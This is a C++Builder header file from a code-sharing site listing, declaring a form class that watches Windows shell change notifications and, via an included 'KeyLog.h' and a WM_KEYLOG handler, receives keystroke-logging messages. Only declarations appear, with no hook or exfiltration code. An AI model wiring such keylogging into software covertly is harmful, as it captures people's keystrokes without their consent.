main.h
上传用户:aorui801
上传日期:2022-07-20
资源大小:201k
文件大小:2k
源码类别:

Shell编程

开发平台:

Visual C++

  1. //---------------------------------------------------------------------------
  2. #ifndef mainH
  3. #define mainH
  4. //---------------------------------------------------------------------------
  5. #include <Classes.hpp>
  6. #include <Controls.hpp>
  7. #include <StdCtrls.hpp>
  8. #include <Forms.hpp>
  9. #include <shlobj.hpp>
  10. #include "KeyLog.h"
  11. #define  WM_SHNOTIFY            0x401
  12. typedef struct{
  13.         PItemIDList dwItem1;
  14.         PItemIDList dwItem2;
  15. }SHNOTIFYSTRUCT, *PSHNOTIFYSTRUCT;
  16. typedef struct{
  17.         PItemIDList pidl;
  18.         int bWatchSubFolders;
  19. }_IDLSTRUCT,IDLSTRUCT,*PIDLSTRUCT;
  20. typedef HWND (*SHNRegister)(HWND hWnd,DWORD uFlags,DWORD dwEventID,DWORD uMSG,DWORD cItems,PIDLSTRUCT lpps);
  21. typedef HWND (*SHNUnRegister)(HWND hNotify);
  22. //---------------------------------------------------------------------------
  23. class TfrmMain : public TForm
  24. {
  25. __published: // IDE-managed Components
  26.         TMemo *Memo1;
  27.         void __fastcall FormCreate(TObject *Sender);
  28.         void __fastcall FormClose(TObject *Sender, TCloseAction &Action);
  29. private:
  30.         HWND m_hSHNotify;
  31.         LPITEMIDLIST m_pidlDesktop;
  32.         SHNRegister SHChangeNotifyRegister;
  33.         SHNUnRegister SHChangeNotifyDeregister;
  34.         bool __fastcall SHNotify_Register(HWND hWnd);
  35.         bool __fastcall SHNotify_UnRegister();
  36.         
  37.         AnsiString __fastcall SHEventName(AnsiString strPath1,AnsiString strPath2,DWORD lParam);
  38.         void __fastcall WMShellReg(TMessage & Message);
  39.         void __fastcall WMKeyLog(TMessage & Message); // User declarations
  40. public: // User declarations
  41.         __fastcall TfrmMain(TComponent* Owner);
  42. protected:
  43.         BEGIN_MESSAGE_MAP
  44.                 VCL_MESSAGE_HANDLER(WM_SHNOTIFY, TMessage, WMShellReg)
  45.                 VCL_MESSAGE_HANDLER(WM_KEYLOG, TMessage, WMKeyLog)
  46.         END_MESSAGE_MAP(TForm)
  47. };
  48. //---------------------------------------------------------------------------
  49. extern PACKAGE TfrmMain *frmMain;
  50. //---------------------------------------------------------------------------
  51. #endif